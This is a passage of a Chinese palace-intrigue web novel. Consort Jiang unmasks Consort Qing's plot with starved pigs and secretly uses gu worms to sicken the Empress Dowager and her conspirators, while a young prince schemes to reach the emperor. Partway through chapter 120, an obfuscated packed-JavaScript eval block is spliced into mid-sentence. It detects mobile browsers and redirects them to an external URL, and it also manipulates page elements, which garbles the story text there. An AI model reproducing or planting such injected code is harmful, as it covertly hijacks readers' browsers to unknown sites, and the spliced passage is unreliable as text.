很快玉粹宫的人就到了,这件事如果真是我冤枉了你,我自愿交出宫权,向你道歉,姐姐觉得这样,可能让你宽心?”姜妃说。 清妃的脸都有了几分扭曲。 宽心个鬼,是诛心还差不多。 她视线从姜妃脸上划过,又是委屈的想要拉贺江灈的袖子,贺江灈说:“你也不必担忧,福寿宫出事事关重大,朕相信姜妃能查出真相。” 手抓了个空,清妃心里也跟着一空。 她这会儿是真的有点慌了。 她是真没想到姜妃竟然这么干脆利落,要把她玉粹宫的所有人都绑过来问话。 就算她可以保证自己身边的人没有问题,可这宫里上上下下那么多人,她哪知道里面有没有什么贪生怕死的,有没有什么被人收买的? 满春也与清妃想到了一起去,她说:“姜妃娘娘,今日已经这么晚了,您这般兴师动众,怕是闹得太过火了吧? 如果真的算起来,谁都知道这两头活猪该是您弄到宫里来的,现在您这是要栽赃嫁祸我们娘娘吗?” 后半句话满春完全是说给太后听的。 她试图转移太后的注意力,只要让太后知道猪是姜妃弄来的,便能让太后不信任姜妃。 姜妃根本就不与满春争论。 她静静的等了一会儿,不多时就有几个侍卫压着玉粹宫的人到了福寿宫,一众宫女太监因为姜妃的一个眼神站成一排,几乎要填满了这福寿宫的院子。 满春见状,立刻出声给这些人提醒:“姜妃,你就算把玉粹宫的人都叫来又如何?这些猪与我们娘娘无关就是无关,你休想把脏水泼到清妃娘娘头上。” 姜妃看也不看满春,她提高了声音道:“今日本宫看到两头疯猪从玉粹宫里跑出来冲撞了太后娘娘,玉粹宫里有猪一事非同小可,本宫希望你们将此事如实说来,否则就算与清妃一道谋害太后,这罪名你们应该担不起吧?” “姜妃,你…” 清妃如何听不出来,这姜妃就是故意夸大影响,在诈她玉粹宫里的人,她当时就要制止,姜妃又说:“你们也不用忌惮清妃娘娘,这里有陛下有太后,此事涉及到太后的安全,你们实话实说就是救驾有功,太后娘娘只会奖赏你们。” 第116章 问心无愧 一群玉粹宫的下人在听到姜妃的话后,先是面面相觑,又将目光小心翼翼地落到清妃身上。 清妃努力的想要维持镇定,可有些僵硬的表情,还是暴露了她这会儿的不安。 只看到她这副模样,玉粹宫的下人们已经纷纷有了决断。 人群里,一个小宫女先颤颤巍巍的道:“陛下饶命,太后娘娘饶命,奴婢只是玉翠宫里的一个洒扫宫女,平日里连与清妃娘娘说话的机会都没有,这事与奴婢无关呀! 虽然那一日清妃娘娘让人把猪赶进玉粹宫时,奴婢看到了,可主子的是奴婢哪里敢过问,还请陛下与太后娘娘明鉴饶奴婢一命。” 有了第一个人开口,接着就是接二连三的指正:“奴婢也与此事无关,当时猪被赶进玉粹宫之后,清妃娘娘就让人把它们关进了偏殿。 后来奴婢就再也没见过那两头猪了。” … 几个人都争先恐后的说着,但说话的大多是玉粹宫里的粗使下人,除了确定这猪就是在玉粹宫里跑出来的,并没有提供什么更确切的消息。 姜妃的目光在这些人身上少是一圈,最后落在了末尾处一个小太监身上,那人小心翼翼的,看样子是有些犹豫。 姜妃直接伸手指了他:“你呢,就没有话要说吗?” 小太监吓了一跳,哐当一声直接跪了下来:“姜妃娘娘饶命,奴才…奴才…那日只是不经意听到清妃娘娘的话。 她…她怨恨姜妃娘娘,让她丢了宫权,让她在太后娘娘身边丢脸,所以…所以便想用这猪给姜妃娘娘一个教训。 猪在玉粹宫里饿了五天,所以才会这么疯狂,也是清妃娘娘故意让人把猪赶到玉粹宫来的,就是想借太后的手教训姜妃娘娘。 奴才知道的就只有这些了,还请姜妃娘娘饶奴才一命。” 话听到这里,还有什么不明白的,太后的手哐当一声锤在了椅子的扶手上,她的胸口快速的起伏着,连呼吸都有些不稳,王嬷嬷见状,赶忙过来给她顺气。 贺江灈也是神色淡漠的看向了清妃:“是这么回事吗?” “不是陛下,臣妾没有,您是最了解臣妾的,臣妾素来宽和,从未有半点害人之心呀,尤其是这件事还涉及到太后娘娘。 就算给臣妾听大的胆子,臣妾也不会这么做的。”清妃说。 太后这会儿总算是缓过了一口气儿来,她由王嬷嬷扶着站了起来,大步走到了清妃的面前,抬手一巴掌就甩到了清妃的脸上。 这一巴掌甩的极重,直将清妃的一张脸都甩的偏向了一边,清妃的表情更是因此僵在了脸上,她瞪大着一双眼睛,震惊的看着太后。 太后说:“好你个赵清吟,你真是好歹毒的心思,饿出这两头疯猪来冲撞哀家,你是想要哀家的命啊!” “不是的,太后娘娘,臣妾没有,臣妾…” “还敢狡辩,皇帝,这就是你自己选的好嫔妃,你难道还不打算给哀家一个交代吗?还是真想哀家死在这贱人手里你才满意?”太后说。 她偏过脸,直接将目光从清妃身上移开,半点也不愿意和这个女人对视。 贺江灈道:“清妃,你这次确实是有些过了。” “陛下你相信臣妾,臣妾绝无半点害人的心思,这事儿根本就是有人故意陷害臣妾的。”清妃反驳道。 她的眸光一扫,直接落在了姜妃身上:“是她陛下,就是她在陷害臣妾,这猪根本就是被她做了手脚。” 顺着清妃的视线,贺江灈也看向了姜妃。 那两只猪的状态确实不只是像饥饿那么简单。 他早就觉得这中间定是有别的猫腻。 “清妹妹刚才怪我血口喷人,我可是拿出了证据,那现在你呢?你又有什么证据指认是我害你?”姜妃依旧是不慌不忙的,声音也平静。 清妃被她那坦然的视线看着,一时没有说话。 姜妃又说:“其实我能理解清姐姐,坏事被拆穿,你害怕胡乱攀咬什么的都是正常现象,只是这没有证据的事呀,还是少说吧,免得耗尽了陛下对你仅剩的这些心软,你觉得呢?” “谁说我没有证据?我有,这猪就是被你做手脚了。 陛下,臣妾承认,这猪确实是从臣妾的玉粹宫里出来的,臣妾也确实想要给姜妃一个教训。 但臣妾可以保证,臣妾并没有害人的心思,这猪根本就是被姜妃动了手脚,才会变得这么疯癫。 当时从玉粹宫里出来,这猪根本就没有用人赶就自己冲福寿宫来了,就像是被什么东西控制了一样,这种事怕是只有姜妃能做到了。”清妃说。 她视线几乎笃定地看向姜妃,现在这种情况,她就算不扯出姜妃来,也难脱自己的嫌疑,干脆认下这事儿,把姜妃也一起拉下来。 之前这猪自觉往福寿宫走的时候,清妃就已经感觉到了不对劲。 但当时念着那猪跑的方向和她的目标一致,她便也没有太放心上,可现在看来这一切分明就是有人在背后布局。 那姜妃有个出生苗疆的娘,手里尽是一些稀奇古怪的东西,现在她又能这么笃定的挑自己的错处,清妃这会也可以笃定,一切都是姜妃在害她。 姜妃笑了:“清姐姐平日里是看画本子看多了,把脑袋看坏了吗?本宫长了这么大,就从来都没有听说过天底下有什么奇人异士能控制家禽的。 你口口声声说我控制猪来害你,若我有这么大的本事,何至于这么麻烦?干脆让这些饿疯了的猪冲进你的寝宫,咬断你的脖子就算了呗,还简单省事呢。” 她双手摊开,一副无所谓的姿态,说的话又实在不中听。 没有给清妃什么反应的机会,她又转头看向了贺江灈和太后:“陛下,太后娘娘,你们要的交代臣妾已经拿出来了,至于清妃说的话,臣妾从来没听过那样的能力,臣妾自己也问心无愧,只等陛下与太后娘娘自己定夺。” 第117章 骏儿不在乎娘娘贞洁 姜妃就这么美美的抽身,将话题又重新抛给了贺江灈和太后。 “不是的陛下,太后娘娘,她肯定…” “够了,皇帝,这就是你的好清妃,如今人赃并获了,你难道还要听她狡辩吗?还不打算给哀家一个交代?”太后早就怒不可遏,她直接打断了清妃的话,目光也是望向了贺江灈。 贺江灈说:“清妃,此事确实是你的问题,先跟母后道歉。” “别,哀家可受不起她的道歉。 现在都敢放猪暗害哀家了,以后若是再对哀家含恨在心,还指不定弄出什么来要哀家性命呢。”太后不冷不淡的奚落一句,脸上更是毫不掩饰的讽刺。 “太后娘娘误会了,臣妾绝无半分害您的意思,臣妾只是…只是…” 她想干脆狠狠心,直接说出她不过是想借太后的手惩罚姜妃,但话才露了个头,她先察觉到了一道冰冷的视线落在自己的头顶。 心头蓦地一冷,清妃自己先闭上了嘴。 她在陛下身边,一直都是清纯柔弱的模样。 哪怕今日的一切近乎撕掉了她的伪装,现在陛下定也知道她的作为,可清妃依旧固执的不愿意亲口说出来。 贺江灈又道:“母后言重了,今日确实是清妃太过荒唐,不如朕把清妃交给母后,让母后亲自教她规矩,母后觉得如何?” “陛下…”清妃红了眼睛,明显是有些不情愿。 贺江灈扫了她一眼,很快就收回了目光,眼里再没有一点怜悯。 而太后没有马上接话,就好像在思虑着什么,片刻之后,她才道:“皇帝日理万机,连自己宫里的妃子都管不好,既然这样,哀家就替你做这个恶人,从明日起,清妃便日日来哀家这福寿宫跪规矩吧。 你与皇帝青梅竹马,你们赵家又对皇帝有恩,皇帝这些年对你确实太宽容了,哀家也该让你好好长长记性,对哀家的安排,你可有什么异议?” 清妃面如酱色,就差直接摇头了。 她又一次楚楚可怜的看向贺江灈,贺江灈点头:“那这件事就劳烦母后了,这两只猪,朕让人处理了,时候不早了,母后也早些歇息吧。” 她挥了挥手,立刻就有人过来,抬着那两头猪离开,贺江灈临走的时候,冷眼扫向了姜妃。 姜妃嘴角牵出了几分讪笑,连忙跟着贺江灈离了福寿宫,在踏出门槛的时候,她忽然回头,目光朝着那紧闭的门飞看了一眼,瞳孔里流转着意味不明的情绪。 清妃也很快离开,转眼间,福寿宫里就没了外人,太后说:“安妃呢?今日这么大的动静,她为什么没来?” “安妃娘娘一向性格寡淡,从来不爱凑热闹,泠竹苑又实在偏远,没听见动静也有可能。”王嬷嬷说。 太后道:“找人把安妃叫过来,哀家有事要和她说。” 安妃不紧不慢的到了福寿宫的时候,就看到太后一张脸阴沉如墨,在太后身边,那同样冷着脸的人赫然就是定明侯。 他怎么还在这里,那件事姜妃难道没有办成吗?为什么陛下没有发现定明侯? 好几个问题几乎同一时间从安妃的脑海里冒了出来,让安妃的瞳孔都有些恍惚。 但她很快就回过神来,恭恭敬敬的对太后行了个礼:“不知姑母这么晚了叫侄女过来所为何事?” 一句话说完,好像才刚看到定明侯一样,她又有些惊讶的道,“咦,郑伯伯怎么也在这里?” “你当真什么都不知道吗?”太后问,“今日福寿宫闹这么大动静,你就一点都没听见?” “姑母是说有猪闯到福寿宫里的事?”安妃问。 得到了太后肯定的目光,她又说:“听到是听到了,只是两头畜生而已,哪里能伤得了姑母?侄女泠竹苑离得远,就算赶过来,事情怕是也早就结束了,故而便没有多此一举,姑母也不会因此怪罪侄女吧。” “哼,怪罪?好赖话都让你说尽了,哀家还怎么怪罪?”太后不耐烦道。 安妃神色还没有松散下来,就听到太后又问:“不过哀家倒是奇怪的很,那清妃借着猪算计姜妃,怎么偏偏就是今日? 禾儿当真没有什么东西瞒着哀家吗?” 一双浑浊的眼睛就这样扫视着安妃,瞳孔里的怀疑一点儿也掩饰不住。 安妃说:“姑母这是说的哪里话? 您该不会觉得禾儿背叛了您,透了什么消息给别人吧? 那怎么可能呢?禾儿的心思就算您不相信,郑伯伯也该清楚呀,禾儿到现在为止,都只想与郑郎团聚呀。 郑郎现在远在边疆,禾儿又怎敢不顾他的安危?” 太后眼里的怀疑总算是消散了一些。 在她跟前,安妃一直都是目标清晰,只想与她那个情郎团聚。 现在想来也是,定明侯可是她那情郎的亲生父亲,想她也不敢拿定明侯的性命开玩笑。 否则就算团聚了,她与那人隔着血海深仇,又怎么能在一起? 她又冷冷的扫了安妃一眼:“就算这件事与你无关,你入宫这么久了,却连皇帝的信任都得不到,真是个废物。 别以为躲到了泠竹苑去就能给自己开脱,从明天开始,你给哀家好好上上心,多去皇帝那里走动走动,哀家希望明天就能听到皇帝留宿泠竹苑的消息。” 一直沉默的定明侯也在这时道:“娘娘,臣知道您心里委屈,但这也都是为了咱们的大业不是吗?您放心,骏儿不是什么肤浅之人,他与你从小的情谊绝不是一句贞洁能动摇的。 他懂你的牺牲,娘娘也愿意帮他成就一切,对不对?” 在定明侯说话的时候,安妃就低下了头,手在袖子里收紧,指甲都掐在了肉里,她那双眼睛里的讽刺怎么都掩不住。 什么大业,不过就是他与太后的狼子野心罢了,关自己与郑郎何事? 结果他们却因为这一句可笑的大业,一个被推进宫墙,一个被赶去北疆,莫说见面,就连书信都不能再往来。 “你是对哀家的话有什么异议吗?”安妃久久不说话,太后又问。 第118章 朕没与她闹 安妃终于把头抬了起来:“侄女不敢,只是侄女确实不得陛下喜欢,姑母给侄女下的命令太过苛刻,侄女一时不知该怎么做。” “苛刻?那也是你无能,入宫这么久,却连他的心都抓不住,简直枉为我安家之人。 不过知道你没用,哀家已经替你铺路了,这宫里的嫔妃除了那个清妃以外,没有一个能入他眼的。 如今哀家让清妃日日来福寿宫,你赶紧趁着这个机会往他身边凑,今早得到他的信任,明白吗?”太后说。 安妃眼睛里又一次闪过了讽刺,她的声音也有些喑哑:“侄女知道了,明日侄女就去见陛下。” “这样就对了,娘娘也想早日见到骏儿吧,您对咱们的事越上心,做的越好,骏儿才能早日回来,这样简单的道理,想来娘娘应该很清楚的。”定明侯说。 安妃配合:“郑伯伯说的是,禾儿记得了。” 说话间她心里又是一阵古怪,那个姜妃到底做了什么? 她这筹码已经教的够清楚了,为什么能让这人逃脱? 就在安妃百思不得其解的时候,两头半死不着活的猪被丢到了空荡荡的甬道里,贺江灈冷声问姜妃:“说说吧,这两头猪怎么回事?” “什么怎么回事?刚才在寿康宫里,臣妾不是解释的很清楚了吗?这就是清妃想要害臣妾的,就算陛下当真要问,也该去问清妃呀。”姜妃说。 贺江灈道:“如果不是你做了手脚,朕可不相信这猪能直接跑进福寿宫。 姜妃,你确定要在朕面前胡言乱语?” “就算是臣妾做了手脚又能怎么样?臣妾也只是知道清妃要害我将计就计而已。 陛下还希望有什么?难道为了维护您所认知的清妃的善良,无凭无据的就想把谋害太后的帽子扣在臣妾头上吗?那臣妾可不认。”姜妃说。 “谋害”二字,被她咬的有些重,就好像是在故意提醒着什么一样。 贺江灈眉心微蹙,依旧冷冷的看着姜妃,姜妃又说:“反正臣妾没有任何谋害太后的意思,若是陛下不信,大可以等两日看看嘛。 时候不早了,臣妾这么晚不回去,晋姐姐说不定要担惊受怕,陛下还是别拦着臣妾去陪晋姐姐了。” 她破罐子破摔,偏偏听起来又有点像在卖关子。 “呵,朕倒是也想看看,你到底再打什么主意,这两头猪…” “陛下找地方埋了吧。”姜妃说。 这句话无异于是变相的承认了这猪有问题。 贺江灈抬了抬手,立刻就有暗卫出现,将两头猪带了下去,眼见着姜妃要走,他忽然道:“你最好管住你的嘴,少在阿鸢面前胡说八道,否则朕绝不轻饶你。” 姜妃笑笑:“是是是,知道您今日是因为晋姐姐饶我小命,不过陛下,话别说太早了,或许等到明日,您又要感谢臣妾也说不准呢?” 她也不管贺江灈是什么表情,大摇大摆的就朝着幽兰馆而去。 这个姜妃从来都是这幅天不怕地不怕的模样,贺江灈早就懒得跟她计较什么,他很快换了个方向。 漆黑的密室里,只有一盏灯摇摇曳曳。 地面上放着的,贺然是那两头方才让人去处理了的猪。 伴随着贺江灈进来,密室里的暗一暗二一起行了个礼。 贺江灈道:“剖开看看,朕倒要看看那姜妃又在搞什么。” 暗一没接话,暗二低低的笑了一声:“陛下如今对姜妃娘娘倒是越来越宽容了呢,是因为晋娘娘的缘故吗?既然如此,您为什么还不把晋娘娘从冷宫里接出来呢?” 暗一听他嘴上没把门,赶紧用手肘杵了他一下。 暗二还在喋喋不休:“之前的事都过去这么多年了,如今晋娘娘又失忆,那些过去早就灰飞烟灭了。 陛下甚至能为了晋娘娘宽恕江妃,又何必僵持着不与娘娘和好呢?” “朕没有与她闹,一直是她在闹。”贺江灈淡淡的应了一声,目光盯着地上那头已经被动作利落的暗一开膛破肚的猪。 一个漆黑的虫子被暗一从血管里刨出来,那虫子还是活着的,在暗一手里还不断的蠕动着,暗一看了一眼:“是蛊虫。” 不一会儿,暗二也从另一只猪身上,剖出了另一只一模一样的虫子。 把两只虫子放在一起对比了一下,暗二说:“两只应该都是子蛊,母蛊不见踪影,属下不太了解这些,暂时分辨不出这两只蛊虫有什么用。” “弄死吧。”贺江灈说。 这两只猪目标明确的往福寿宫里撞,而且身体里有一模一样的蛊虫,不用说那只不见的母蛊现在一定在福寿宫里。 蛊虫这种东西,一般都要依附新鲜血肉才能生存的。 那姜妃让把这两头猪埋了,何尝不是要变相的弄死这两只蛊虫? 想来只要这两个东西死了,对那个母蛊也是有影响的。 他就算不了解姜妃,也了解姜家的人,那女人就算再疯,也不敢直接对皇室下手,那么这母蛊在什么地方就有些耐人寻味了。 结果没有让贺江灈等太久。 翌日天刚一亮,太后忽然重病不起的消息就传到了贺江灈耳朵里。 不仅仅是太后,就连福寿宫里的下人们,还有安妃,甚至是安妃身边的春樱都在一夜之间生了病。 这一切来的实在突然。 太医院的太医齐聚福寿宫,一时都找不到端倪。 宫里一时间人心惶惶,贺江灈更是为此推了早朝,到了福寿宫看太后的情况。 但太后这里还没有找出什么病因,暗二那边又传来了消息,说是定明侯府阖府都生了怪病,各个都上吐下泻,却又找不到一点病因。 按理说,安妃与太后生了一样的病,那是因为昨夜安妃到过福寿宫,这一切倒也说得过去,可定明侯呢,还有整个定明侯府,他们又怎么会在同一天与太后生同一种病? 除非…定明侯与太后有接触。 几乎是一瞬间,贺江灈就想明白了其中的猫腻,立即朝着幽兰馆而去。 第119章 安妃截胡 而此时幽兰馆里,可不仅仅只有姜妃在。 脸色惨白的没有血色的安妃就坐在大厅里,她好像虚弱到连喘气都有点困难,但是一双眼睛却还是固执又锐利的盯着姜妃。 姜妃自己倒是一副无所谓的姿态:“我不是跟你说过了吗,你不方便出面,这件事交给我来做,你也不用再去福寿宫,可你偏要不听,现在好了,惹了一身病,瞧瞧这脸白的,真真是够可怜的。” 安妃冷声道:“姜妃,我选择与你合作是信任你,可你就是这样背信弃义的吗? 做这件事之前,你从来都没有与我说过会闹出这么大的阵仗,你知不知道你这么一闹,会牵连出多少事来?” 安妃眼睛里都是怒意,这会她实在太过虚弱了,再怎么恼怒,声音听起来也都带着几分虚,并没有什么威慑力。 她吼完姜妃,眼睑垂下来的时候,一张脸上又尽是担忧。 主意是她出的,她也是想将定明侯直接扣在宫里,如此方便她去向陛下投诚,可姜妃根本就没有按她们商量好的来。 这么一闹,不仅让定明侯回了侯府,还把里面的猫腻挑的这么明显,她难免担忧那人会狗急跳墙。 “至少结果都是一样的,姐姐又何必惊慌至此呢?”姜妃不以为意,她又补充,“至少我觉得我这样闹下来,才算真的盯死了她们的嫌疑,不是吗?” “你…” 安妃胸口不断的起伏,她平日里总是风轻云淡的,连脸上都没有多少表情,鲜少像现在这般连怒火都表现的如此明显。 “看姐姐这么惊讶,可是还有什么别的打算?”姜妃慢悠悠地询问一句,态度有些意味不明的。 也没有等安妃回话,她就又补充道:“不过这些姐姐都没有跟我说过,我不过是想把计划弄的更完善一些,若真是因为我的缘故破坏了姐姐的计划…” 话音一顿,姜妃直接嗤笑出声:“那只能说句抱歉了,毕竟我这个人呀,最讨厌不诚心的合作伙伴。” 她最后一句话落下的时候,安妃只觉得脑袋里一阵嗡鸣,就连眼前都是一阵发黑。 她道:“姜妃,你不觉得你随便变卦出尔反尔很过分吗?” “怎么过分了?结果不是一样的吗?只是过程不同罢了?安姐姐与其质问我,不如先问问自己为什么要不那么诚心。”姜妃说。 安妃连呼吸都有些不顺。 该说的她都已经说了,这个姜妃还要她说的多么直白?让她直接明说,给她留个邀功的机会换郑郎活命? 她一个宫妃,亲口说出这种话来,她找死吗? 安妃只觉得这个姜妃就是个神经病,她和她根本就没有谈下去的必要。 她一甩袖子道:“这件事就算了,道不同不相为谋,以后我与姜妹妹,还是不要合作了。” 姜妃忽然上前两步,她凑近了安妃,拿了个小瓷瓶放到了安妃面前:“好歹也算是合作过一场,解药给你。” 那小瓷瓶上好像还带着姜妃手心里的温度,安妃只是碰了一下,脸色就又有些僵硬,但她还是没有推迟,将那瓷瓶收了起来。 临走的时候,她又回头瞪了姜妃一眼:“那看在合作一场的份上,我也提醒你一句,别总这么肆意妄为,免得哪天玩死了自己。” 安妃话里讥讽之意明显,姜妃却是不置可否,甚至又摊了摊手,无所谓的道:“那可真谢谢你的提醒,不过我倒是期待有那么一天,我这个人最喜欢刺激了。” 神经病。安妃又在心里骂了一句,被满春扶着出了幽兰馆的时候,她远远的就看到了象征着皇帝身份的明黄色的华盖。 原本要会泠竹苑的脚步顿住了,安妃就这样站在甬道中央,只等着贺江灈的仪仗靠近。 等到贺江灈来的消息传到幽兰馆的时候,人已经被安妃截胡去了泠竹苑。 对于这个结果,姜妃只是冷笑一声,也没有要去泠竹苑打听情况的意思,就直接去了晋明鸢那里。 冷宫里鹅少了大半,两头猪也都去了,倒是显得冷清了许多。 姜妃来的时候,晋明鸢已经在院子里翘首以盼了。 昨天的戏没有看到结尾,她这会儿着急知道结果呢。 也不知道那太后的事到底有没有败露,她与云瑄是不是还算安全。 贺云瑄也是偎在晋明鸢身边,同样对昨日之事的结果很是好奇。 同样心里又有一点可惜。 昨夜他已经与芙蕖复盘过了,明明娘亲都已经见到了那个人,到最后却依旧没能挑拨那个人的身份,这实在是,太可惜了。 这会儿贺云瑄比晋明鸢更迫切的想要知道答案,更想知道那个人的打算。 如果这件事成了,太后能得到报应最好,如果没有的话… 他还是得想别的办法,让娘亲先出了冷宫,至少在那个人的眼皮子底下,比在这儿安全。 “姜妹妹,昨天到底什么情况,太后那里…” “太后生病了,定明侯也生病了,这病一日两日可好不好了,姐姐姑且放心,近日不可能再有人针对于你了。”姜妃说。 她之所以改了一开始和安妃的安排,没有让定明侯当场暴露,而是选择了下蛊,另一个原因就是要将这两个人暂时困住,给陛下去查证的机会,也给晋姐姐短时间的安定。 太后敢与定明侯这般明目张胆的密谋,就说明他们的同盟绝对不少,像安妃那样只是把人扣住。那才是给人狗急跳墙的机会呢。 倒是她这么做,不仅可以震慑住那些人,让那些人心虚,还可以顺藤摸瓜,看看还有什么人与定明侯往来。 晋明鸢对姜妃的话还算信任,得了这么个答案,她也是松了一口气,可旁边的贺云瑄却一直板着一张小脸。 只是生病了,那就是这件事还没能解决,那… 贺云瑄忽然问:“姜姨姨,那个陛下什么打算?” “不管他什么打算,这些事都与咱们无关了,你怎么忽然关心起这个来?”姜妃说。 她不过就是要给贺江灈提个醒而已,后续的事本也不是她一个嫔妃能一直掺和其中的,对姜妃来说,只要能控制住太后和定明侯别动晋明鸢,她最大的目的就成了。 第120章 上了贼船 面对姜妃的问题,贺云瑄却是低下了头,什么也没有说。 他很清楚,他们这几个人里,最不想让娘亲走出冷宫的人其实是姜妃。 倘若他真的说出了自己的目的,面对的一定是姜妃的阻拦。 他忽然不说话了,姜妃神色变了变,很快就惊愕道:“哎呀云瑄,你该不会在关心他吧? 关心那种人做什么?我跟你说呀,他心肝可黑着呢,十个太后加起来也没他心眼子多,与其担忧他,倒不如想想咱们等会儿吃什么。” 提到贺江灈的时候,姜妃话里又是一番完全不加掩饰的嫌弃。 贺云瑄的眼睑垂的愈发的低了一些。 他就知道姜妃对那个人意见比他还大。 他想要让娘亲出冷宫的事,一定得瞒着姜妃。 贺云瑄久久不说话,姜妃只觉得自己还没有说够,她又继续说:“嗨,我和你说,他现在可潇洒着呢,现在还在旁边泠竹苑里陪安妃呢。 我就说你担心他纯属就是多余,可不要忘了是谁把你和你娘亲推到这冷宫里来受苦的。” 话到这里姜妃又有些愤愤不平,她伸手捏了一下贺云瑄的脸:“你小子可不能吃里扒外,别忘了陪你在这里受苦的一直都是晋姐姐,你可不能让什么诡计多端的男人骗了去。” 贺云瑄也没想到自己仅仅是一个提问,就能让姜妃说了这么多愤懑的话? 他揉了揉自己被姜妃捏的有点疼的脸颊,黑黝黝的眼睛有些闪烁,对上姜妃怀疑的视线,他认真道:“姜姨姨,你又开玩笑了,我最重要的当然是娘亲呀,我就是随便问问而已。” “这样最好,那种不负责任的男人,还是不要搭理他为好。”姜妃又说。 贺云瑄点了点头:“对了姜姨姨,你上次给我的那些账本我已经帮你算完了,现在就在我屋里,你要不要进去看看?” “算完了,这么快的吗?”姜妃的注意力一下子就被贺云瑄吸引了,她有点惊讶的道。 贺云瑄点了点头:“其实没有那么麻烦,算熟练了就很简单。” 甭管熟不熟练,姜妃只要看到那么一大堆东西都觉得头疼,这会儿她也是真被贺云瑄吸引了注意:“看你小子说的这么轻松,我倒要检查检查你有没有算错,账本呢,拿过来我看看。” “都在我屋里呢,姜姨姨过去吧。”贺云瑄说。 姜妃皱眉,总觉得有点古怪,她问:“你不能给我拿出来吗?” “东西太多了,搬出来要好久的,姜姨姨不如先去检查检查。”贺云瑄说,他又扭头拉了一下晋明鸢,“娘亲,你也陪着姜姨姨去看看吧。” “我?”晋明鸢手指了指自己,有些不明所以,“我哪会看什么账本呀,我去干什么?” “那账本可都是我算的,娘亲不想知道我算的对不对嘛,你与姜姨姨起去看看吧。”贺云瑄说。 晋明鸢愣了一下,她觉得也有些道理。 只要是她宝贝儿子弄的东西,她都是关心的,账本儿也不例外。 晋明鸢便叫了姜妃:“走吧,姜妹妹,你去帮我看看云瑄算数算的怎么样。” 姜妃总觉得,贺云瑄这小子今日神神秘秘的,就像是要藏着什么一样,不过放眼看过去,这冷宫也就这么大,他也没啥能藏的。 便直接伸出手指在贺云瑄的额头上戳了一下:“看你这么自信,今日本宫倒是要好好检查检查你算的怎么样。” “那便辛苦姜姨姨了,我去给姜姨姨烧水泡茶。”贺云瑄说。 他客客气气的,乖巧懂事的模样看得姜妃心里都软了软,又小声对着晋明鸢嘀咕道:“看到小瑄瑄这么乖,也不枉晋姐姐因为他来冷宫了。” 对于这种话,晋明鸢没接。 她很清楚,当年的自己决定带贺云瑄来冷宫的时候,贺云瑄也才刚刚出生。 那时候又怎么能看出一个孩子乖或不乖呢?不过就是因为那是她的孩子,所以她必须得保护他。 至于现在… 她依旧是那样的心态,不管云瑄是什么样子的,都是她的宝贝。 反而现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578431|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云瑄太乖太懂事了,总让她觉得自己这个做母亲的太不合格。 贺云瑄先是在厨房里绕了一圈,眼看着晋明鸢和姜妃进了他的屋子,便叫来柳枝替他烧水,他自己则拽了芙蕖,让人带他去泠竹苑。 芙蕖听到这个消息的时候,腿都是软的。 天知道她这几天过的都是什么日子。 昨日才刚带着晋娘娘去福寿宫冒险了一遭,现在陛下都还没找上门来呢,小公子竟然又让她带着他去见陛下,这不是直接把她的脑袋往闸刀底下送吗? 她咋那么大的命呀,一次次的这么折腾。 看出来芙渠的胆怯,贺云瑄又给她画饼:“昨天的事我已经吸取教训了,我知道你不敢挑拨他的身份,所以这次我来,你只管帮我叫开泠竹苑的门,然后就等着做宠妃的宫女,这样大好的买卖,你当真不心动吗?” 芙蕖心里还是有些虚。 做宠妃的宫女是好,但她不知道自己有没有命等到那一刻。 “小公子您就饶了奴婢吧,要不然你让柳枝陪你去吧,奴婢实在是不敢舞到陛下面前呀。”芙蕖满脸后怕。 尤其是昨天那事儿,陛下都没找她算账呢,她又自己找上门去,这不是自寻死路? 贺云瑄说:“放心好了,他那么讨厌我,看到我哪还记得和你生气,咱们快去快回,别让姜姨姨发现。” 他当然也知道柳枝的胆子比芙蕖大得多,可柳枝也总是管不住那张嘴。 若是让柳枝帮忙,只怕事情还没有成,就先抖到姜妃那里去了。 这种事贺云瑄只能找芙蕖。 芙蕖还是不太情愿,尤其是贺云瑄那话,让她听起来更是一点都不像安慰。 他明知道陛下讨厌他,还自己往陛下面前凑,那不也是找死吗? 芙蕖总觉得自己是上了贼船。 但是根本就没有给她什么拒绝的机会,贺云瑄已经拉着她朝着隔壁泠竹苑而去,泠竹苑看门的宫女见状直接道:“安妃娘娘今日身子不适,不见外人,你们请回吧。” 第121章 谎话连篇 “晋娘娘有事求见陛下,麻烦姑娘帮忙通报一下。”事已至此,躲又躲不掉,芙蕖也只能死马当做活马医了。 那名宫女打量了芙蕖身边的贺云瑄一眼,眼睛里还有明显的不屑闪过。 关于晋娘娘的事,在这个皇宫里从来都不是秘密。 尤其是陛下对晋娘娘这个儿子的态度。 现在他要来见陛下,开什么玩笑? 自从娘娘搬进了泠竹苑以来,距离紫宸殿越发偏僻,今日娘娘有病在身,陛下好不容易来见娘娘一次,怎么能就这么让别人截胡了去? 守门的宫女冷哼一声:“你们懂不懂先来后到,陛下如今在陪我们安妃娘娘,你们娘娘就算有天大的事也得等着。” 等着吗? 可是现在姜妃还在冷宫里,他等不了太久。 贺云瑄又伸手拽了芙蕖一下,示意她继续开口。 芙蕖心里简直要对这个小祖宗无语了,但到底是绑到了一条船上,芙蕖也只能硬着头皮道:“麻烦这位姑娘帮忙通传一声吧,陛下见不见晋娘娘都是陛下的事,咱们都是当下人的,何必互相为难呢?” 那小宫女不屑的呸了一声:“互相为难,你说的倒好听,你们都已经跑到我们安妃娘娘地盘上来抢人了,我凭什么帮你们通报?” 这种事也确实是她们来得有些**道。 芙蕖倒也有什么好说的。 只是小祖宗不走,芙蕖踮着脚朝着泠竹苑院里望了一眼,正好看到守在长廊下的张公公,她立刻就提高了声音道:“张公公,我们晋娘娘有事求见陛下!” 芙蕖也只是试试运气,她已经打算好了,这次要是再叫不应,她说什么也得把小祖宗弄走,可不能在这儿胡闹下去了。 所幸这次伴随着她的声音落下,张公公好像朝着门口的方向看了过来,芙蕖连忙冲着张公公招了招手。 张公公好像又朝着屋里的方向看了一眼,这才冲着芙蕖走了过来。 